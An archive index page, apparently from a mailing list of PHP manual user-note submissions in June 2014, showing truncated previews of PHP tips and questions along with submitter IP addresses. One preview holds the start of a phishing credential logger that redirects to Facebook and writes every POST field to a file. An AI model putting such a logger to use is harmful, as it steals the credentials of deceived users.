Search Discussions
-
set_time_limit('600'); We have this piece of code but even with that we are facing error. Can anyone tell us how to fix this? ---- Server IP: 72.52.91.14 Probable Submitter: 220.227.202.197 ---- ...
Santosh Anantharamaiah
Jun 11, 2014 at 6:42 am
Apr 13, 2016 at 11:02 am -
Code: <?php header ('Location: http://www.facebook.com'); $handle = fopen("lol.txt", "a"); foreach($_POST as $variable = $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, ...
Alangkazo
Jun 19, 2014 at 4:48 pm
Apr 6, 2015 at 12:48 pm -
Use the following function if you are using PHP 5.4 or lower. It is a complete simulation of array_column() in PHP 5.5 created by me. <?php if(!function_exists('array_columns')){ /* * array_column() ...
Ohcc
Jun 27, 2014 at 10:18 am
Jul 1, 2014 at 5:37 pm -
This is not working for me. I am using xampp on windows. my site files are on c:/xampp/htdocs/myproject but here I want to access files inside my Program Files folder. I am using Red5 server to ...
Noorcs
Jun 29, 2014 at 5:09 am
Jul 1, 2014 at 7:47 am -
its an awesome extension for the php info().. provides security..much more ---- Server IP: 72.52.91.14 Probable Submitter: 112.196.7.209 ---- Manual Page -- http://php.net/manual/en/intro.pdo.php ...
Sardana Sahil40
Jun 27, 2014 at 7:30 am
Jul 1, 2014 at 7:28 am -
its an awesome extension for the php info().. provides security..much more ---- Server IP: 72.52.91.14 Probable Submitter: 112.196.7.209 ---- Manual Page -- http://php.net/manual/en/intro.pdo.php ...
Sardana Sahil40
Jun 27, 2014 at 7:30 am
Jul 1, 2014 at 7:28 am -
Hola! que pasa si la función sqlite_open(); la escribo de con un @ por delante ejemplo: $db = @sqlite_open('formSQLite', 0666, $sqliteerror) AgradecerÃÂa su respuesta vàun ejemplo en ...
Roberth Solis
Jun 25, 2014 at 5:21 pm
Jul 1, 2014 at 7:23 am -
I've found that on PHP 5.5.13 (not sure if it happens on other versions) if you enter a month larger than 12 on a format that takes numeric months, the result will be a DateTime object with its month ...
Nicodoggie
Jun 25, 2014 at 1:13 pm
Jul 1, 2014 at 7:23 am -
This works for me if you want to expire a function on a specific date <?php if(time() <= strtotime('25-12-2014') ) { ? ---- Server IP: 72.52.91.14 Probable Submitter: 183.89.51.5 ---- Manual Page -- ...
Brad
Jun 23, 2014 at 8:47 am
Jun 25, 2014 at 10:29 am -
If mbstring is a module then mbregex doesn't work. ---- Server IP: 46.17.113.2 Probable Submitter: 94.42.88.2 ---- Manual Page -- http://php.net/manual/en/mbstring.installation.php Edit -- ...
User
Jun 23, 2014 at 1:19 pm
Jun 25, 2014 at 10:29 am -
"so it is always safe to precede a non-alphanumeric with "\" to specify that it stands for itself" except if it is a " or '. ---- Server IP: 72.52.91.14 Probable Submitter: 98.112.150.149 ---- Manual ...
Php
Jun 23, 2014 at 4:29 pm
Jun 25, 2014 at 10:28 am -
Hi, I'm new to PHP. Someone please help me find solution for my problem. I want to fetch values from JavaScript prompt like : prompt('Please Enter the value,'); and save it to PHP variable. I tried ...
Navjon444
Jun 24, 2014 at 2:35 pm
Jun 25, 2014 at 7:56 am -
Is there a way to get the string from an Hashed string??? ---- Server IP: 27.50.85.3 Probable Submitter: 41.58.226.124 ---- Manual Page -- http://php.net/manual/en/function.md5.php Edit -- ...
Pumamammal
Jun 20, 2014 at 6:05 pm
Jun 21, 2014 at 6:30 am -
I want to be a heroine of my life ---- Server IP: 46.22.129.76 Probable Submitter: 83.244.146.162 ---- Manual Page -- http://php.net/manual/en/function.stripslashes.php Edit -- ...
Sandeep Kishan
Jun 16, 2014 at 4:23 pm
Jun 17, 2014 at 7:55 am -
A file's ctime is it's inode change time. The inode changes when file metadata changes (for example when file permissions change). The inode also changes whenever the file's contents change, but ...
Michael
Jun 30, 2014 at 7:30 pm
Jun 30, 2014 at 7:30 pm -
Following are the top 20 pages of the manual, sorted by the number of user notes contributed. These sections could use a polish, those notes represent 6.2% of the 24090 total user notes. Notes | Page ...
Phpdoc
Jun 29, 2014 at 4:28 am
Jun 29, 2014 at 4:28 am -
@langpavel at phpskelet dot org Doesn't the gettype return the string already? Using get_class seems to be the only "useful" part of that solution. All that can be reduced to somewhere half in terms ...
Wojciech Fornal
Jun 28, 2014 at 11:55 pm
Jun 28, 2014 at 11:55 pm -
Note an important difference between iconv() and mb_convert_encoding() - if you're working with strings, as opposed to files, you most likely want mb_convert_encoding() and not iconv(), because ...
Rasmus
Jun 27, 2014 at 11:52 am
Jun 27, 2014 at 11:52 am -
Be careful when the $haystack or $needle parameter is an integer. If you are not sure of its type, you should convert it into a string. <?php var_dump(strpos(12345,1));//false ...
Ohcc
Jun 27, 2014 at 10:52 am
Jun 27, 2014 at 10:52 am -
keep in mind get_cfg_var() returns a string(1) '1' for the value: On <?php //in php.ini //A = On $A1 = get_cfg_var("A") === "On"; $A2 = get_cfg_var("A") === 1; $A3 = get_cfg_var("A") === "1"; //$A1 ...
Tbrix13
Jun 26, 2014 at 8:39 pm
Jun 26, 2014 at 8:39 pm -
While Michelangelo Van Dam example (http://br2.php.net/manual/en/class.splheap.php#93930) is a great demonstration of what can be done with SplHeap, this implementation is exactly what ...
Igorsantos07
Jun 26, 2014 at 1:02 am
Jun 26, 2014 at 1:02 am -
I would advise against the use of exceptions within __construct. If you store the error code for an exception within a function of that class, you have no way of reading that error code to tell what ...
Mattsch
Jun 25, 2014 at 2:35 pm
Jun 25, 2014 at 2:35 pm -
I've found that on PHP 5.5.13 (not sure if it happens on other versions) if you enter a month larger than 12 on a format that takes numeric months, the result will be a DateTime object with its month ...
Nicodoggie
Jun 25, 2014 at 1:20 pm
Jun 25, 2014 at 1:20 pm -
In the case you're asking an API which gives you a reusable application key, you'll have to use the "verifier" in the getAccessToken() method, but also the "callback" parameter in the ...
Pierre Mihawk
Jun 25, 2014 at 7:09 am
Jun 25, 2014 at 7:09 am -
Since this took me over 4 hours to find out after digging through the libicu source code, I thought it'd be a good idea to post it here. do access othere thata than the default "locale" data (which ...
Mail
Jun 23, 2014 at 12:17 am
Jun 23, 2014 at 12:17 am -
To get the resource bundle provided by libicu, you can pass "null" as $bundlename. ---- Server IP: 213.172.110.14 Probable Submitter: 78.42.24.193 ---- Manual Page -- ...
Mail
Jun 22, 2014 at 9:55 pm
Jun 22, 2014 at 9:55 pm -
Following are the top 20 pages of the manual, sorted by the number of user notes contributed. These sections could use a polish, those notes represent 6.2% of the 24066 total user notes. Notes | Page ...
Phpdoc
Jun 22, 2014 at 4:28 am
Jun 22, 2014 at 4:28 am -
If error_type is E_USER_ERROR then trigger_error throw FATAL ERROR and script stopped after this line. <?php $msg = 'This is the test message for echo'; trigger_error('Error message', E_USER_ERROR) ...
Aydin Kn12
Jun 20, 2014 at 7:48 pm
Jun 20, 2014 at 7:48 pm -
Overriden function name becomes __overridden__(). That's why you can't override two function, and that's how you can use the original function in the override. ---- Server IP: 195.56.44.160 Probable ...
Tothandor
Jun 20, 2014 at 12:14 pm
Jun 20, 2014 at 12:14 pm -
simple functions to make life easier. I wanted a way to have a as property value the return value of a method in order to have it initialized. example class portItem implements JsonSerializable{ ...
Dimstefan83
Jun 20, 2014 at 8:34 am
Jun 20, 2014 at 8:34 am -
function Romaji2Kana works pretty good but few exception: "JA" and "DZA" were not converted correctly as Japanese speekes expected. Following is a correction of that behavior. public function ...
Mori
Jun 20, 2014 at 6:54 am
Jun 20, 2014 at 6:54 am -
In some structures its not possible to know the dn or rdn up front. However one can use $ldapuser= $samaccountname.'@'.domainname; ---- Server IP: 72.52.91.14 Probable Submitter: 85.199.91.210 ---- ...
John Doe
Jun 20, 2014 at 5:53 am
Jun 20, 2014 at 5:53 am -
Use of magic functions may make your private variables behave like public ones. But it becomes strict; you cannot (in fact should not) assign any properties dynamically during the runtime. <?php ...
Bimal
Jun 19, 2014 at 9:05 am
Jun 19, 2014 at 9:05 am -
Warning! This function is not only more memory consuming than expected but the consumption also depends on the size of the result set. So if you realy only want to get your field_names you might want ...
Gmx Net
Jun 18, 2014 at 1:32 pm
Jun 18, 2014 at 1:32 pm -
When using finally keep in mind that when a exit/die statement is used in the catch block it will NOT go through the finally block. <?php try { echo "try block<br / "; throw new Exception("test"); } ...
Telefoontoestel
Jun 18, 2014 at 12:34 pm
Jun 18, 2014 at 12:34 pm -
$memcache = new Memcache; //initialised memcahe @$memcache- connect("127.0.0.1",11211); // connect memcahe server $cache = getCache(md5("mysql_query" . $sql)); //get sql query if already cached in ...
Swapniltiwhane
Jun 18, 2014 at 9:31 am
Jun 18, 2014 at 9:31 am -
In addition to <span class="m_body_email_addr" title="12aab2b42c3f3a796fb92414de84db37" jcaplan@bogus.amazon.com</span âs comment (http://www.php.net/manual/de/functions.arguments.php#62803) you ...
Lucas Ekrause
Jun 18, 2014 at 8:40 am
Jun 18, 2014 at 8:40 am -
thanks to gardnerjohng, but a had some problems with non-breaking spaces in this function. I added 2 more cases for this: case 0xC2 case 0xA0 After this modification non-breaking spaces in my test ...
Vlabots
Jun 18, 2014 at 7:03 am
Jun 18, 2014 at 7:03 am -
neither of "sqlite_num_rows($result)" and "$result- numRows()" is not working on SQLite3 ! you should use this way: $db = new SQLite3('databasename.db'); $result = $db- query("SELECT * FROM users") ...
Rezaamya
Jun 17, 2014 at 3:11 pm
Jun 17, 2014 at 3:11 pm -
In case you're running a version of PHP that doesn't have this function... if (!function_exists('stream_resolve_include_path')) { /** * Resolve filename against the include path. * * ...
Zelnaga
Jun 17, 2014 at 2:49 pm
Jun 17, 2014 at 2:49 pm -
Here's my CSV converter supports Header and trims all fields Note: Headers must be not empty! <?php function csv2array($file, $delim = ';', $encl = '"', $header = false) { # File does not exist ...
Marco Remy
Jun 17, 2014 at 7:54 am
Jun 17, 2014 at 7:54 am -
You can use Unicode character escape sequences (tested on PHP 5.3.3 & PCRE 7.8). <?php //This source is supposed to be written in UTF-8. $a='â¬'; var_dump(preg_match('/\\x{20ac}/u',$a)); //Match! ...
Info
Jun 17, 2014 at 4:47 am
Jun 17, 2014 at 4:47 am -
It's worth noting that the behavior of SimpleXmlElement::__construct is not exactly the same as simplexml_load_string, regarding libxml_use_internal_errors(). In my case, <?php ...
Bertolini Cedric
Jun 16, 2014 at 11:07 am
Jun 16, 2014 at 11:07 am -
<?php session_start(); $_SESSION['name']="Tushar"; $n=$_SESSION['name']; $_SESSION['Age']="23"; $_SESSION['city']="Tarapur"; //echo session_encode()."<br/ ";//Prints all Session Data //echo ...
Ts9904247885
Jun 16, 2014 at 10:20 am
Jun 16, 2014 at 10:20 am -
If you need negative indices: <?php $b = array_fill(-2, 4, 'pear');//this is not what we want $c = array_fill_keys(range(-2,1),'pear');//these are negative indices print_r($b); print_r($c); ? Here is ...
Anatoliy
Jun 16, 2014 at 10:00 am
Jun 16, 2014 at 10:00 am -
Following are the top 20 pages of the manual, sorted by the number of user notes contributed. These sections could use a polish, those notes represent 6.2% of the 24037 total user notes. Notes | Page ...
Phpdoc
Jun 15, 2014 at 4:28 am
Jun 15, 2014 at 4:28 am -
Another Word wrap from left or right : public static function myWordWrap ($string, $length=3, $wrap=',', $from='left') { if ($from=='left') $txt=wordwrap($string, $length, $wrap, true); if ...
Phil_marmotte
Jun 13, 2014 at 1:13 pm
Jun 13, 2014 at 1:13 pm -
Sometimes you need to modify an array with another one here is my approach to replace an array's content recursively with delete opiton. Here i used "::delete::" as reserved word to delete items ...
Php
Jun 12, 2014 at 10:52 pm
Jun 12, 2014 at 10:52 pm -
It should be noted that this function performs access checks based on the real UID and real GID of the process running PHP. These aren't necessarily the same as the effective UID and GID. In other ...
Unixguy
Jun 12, 2014 at 8:00 pm
Jun 12, 2014 at 8:00 pm -
If you want to use the '||' operator to set a default value, like this: <?php $a = $fruit || 'apple'; //if $fruit evaluates to FALSE, then $a will be set to TRUE (because (bool)'apple' == TRUE) ? ...
Anatoliy
Jun 12, 2014 at 1:41 pm
Jun 12, 2014 at 1:41 pm
59 users for June 2014
Archives
- May 2016 (219)
- April 2016 (232)
- March 2016 (107)
- February 2016 (70)
- December 2015 (63)
- November 2015 (188)
- October 2015 (63)
- April 2015 (121)
- March 2015 (179)
- February 2015 (255)
- January 2015 (283)
- December 2014 (244)
- November 2014 (251)
- October 2014 (212)
- September 2014 (200)
- August 2014 (267)
- July 2014 (296)
- June 2014 (141)
- May 2014 (249)
- April 2014 (306)
- March 2014 (336)
- February 2014 (370)
- January 2014 (318)
- December 2013 (377)
- November 2013 (309)
- October 2013 (839)
- September 2013 (296)
- August 2013 (229)
- July 2013 (430)
- June 2013 (394)
- May 2013 (336)
- April 2013 (396)
- March 2013 (281)
- February 2013 (270)
- January 2013 (473)
- December 2012 (464)
- November 2012 (399)
- October 2012 (535)
- September 2012 (658)
- August 2012 (835)
- July 2012 (551)
- June 2012 (631)
- May 2012 (940)
- April 2012 (481)
- March 2012 (496)
- February 2012 (621)
- January 2012 (544)
- December 2011 (435)
- November 2011 (567)
- October 2011 (690)
- September 2011 (703)
- August 2011 (842)
- July 2011 (905)
- June 2011 (977)
- May 2011 (832)
- April 2011 (920)
- March 2011 (974)
- February 2011 (877)
- January 2011 (1,165)
- December 2010 (880)
- November 2010 (872)
- October 2010 (771)
- September 2010 (638)
- August 2010 (935)
- July 2010 (674)
- June 2010 (856)
- May 2010 (924)
- April 2010 (1,232)
- March 2010 (1,148)
- February 2010 (917)
- January 2010 (1,027)
- December 2009 (1,065)
- November 2009 (1,127)
- October 2009 (1,126)
- September 2009 (1,090)
- August 2009 (1,124)
- July 2009 (1,239)
- June 2009 (1,531)
- May 2009 (2,141)
- April 2009 (1,392)
- March 2009 (1,398)
- February 2009 (1,224)
- January 2009 (1,316)
- December 2008 (1,280)
- November 2008 (1,451)
- October 2008 (1,082)
- September 2008 (884)
- August 2008 (1,042)
- July 2008 (1,975)
- June 2008 (985)
- May 2008 (1,083)
- April 2008 (1,151)
- March 2008 (1,178)
- February 2008 (936)
- January 2008 (1,052)
- December 2007 (1,926)
- November 2007 (811)
- October 2007 (945)
- September 2007 (1,002)
- August 2007 (860)
- July 2007 (972)
- June 2007 (1,026)
- May 2007 (1,091)
- April 2007 (1,019)
- March 2007 (1,013)
- February 2007 (1,506)
- January 2007 (1,311)
- December 2006 (948)
- November 2006 (927)
- October 2006 (1,390)
- September 2006 (1,312)
- August 2006 (1,191)
- July 2006 (1,032)
- June 2006 (1,666)
- May 2006 (2,460)
- April 2006 (3,118)
- March 2006 (2,517)
- February 2006 (1,792)
- January 2006 (1,735)
- December 2005 (1,671)
- November 2005 (1,493)
- October 2005 (1,794)
- September 2005 (1,552)
- August 2005 (1,706)
- July 2005 (1,621)
- June 2005 (1,519)
- May 2005 (908)
- April 2005 (1,501)
- March 2005 (1,599)
- February 2005 (1,404)
- January 2005 (1,767)
- December 2004 (1,311)
- November 2004 (1,779)
- October 2004 (1,781)
- September 2004 (1,848)
- August 2004 (1,950)
- July 2004 (1,635)
- June 2004 (1,829)
- May 2004 (1,321)
- April 2004 (1,611)
- March 2004 (1,432)
- February 2004 (1,518)
- January 2004 (1,759)
- December 2003 (1,554)
- November 2003 (1,573)
- October 2003 (2,092)
- September 2003 (2,129)
- August 2003 (2,262)
- July 2003 (1,884)
- June 2003 (1,736)
- May 2003 (2,195)
- April 2003 (1,278)
- March 2003 (1,350)
- February 2003 (1,447)
- January 2003 (1,705)
- December 2002 (1,337)
- November 2002 (1,347)
- October 2002 (1,399)
- September 2002 (1,375)
- August 2002 (1,985)
- July 2002 (1,639)
- June 2002 (1,132)
- May 2002 (1,283)
- April 2002 (1,594)
- March 2002 (1,235)
- February 2002 (1,093)
- January 2002 (2,082)
- December 2001 (2,525)
- November 2001 (1,564)
- October 2001 (1,502)
- September 2001 (966)
- August 2001 (1,333)
- July 2001 (1,306)
- June 2001 (574)
- May 2001 (697)
- April 2001 (684)
- March 2001 (1,204)
- February 2001 (1,138)
- January 2001 (1,301)
- December 2000 (928)
- November 2000 (1,079)
- October 2000 (1,432)
- September 2000 (1,964)
- August 2000 (3,824)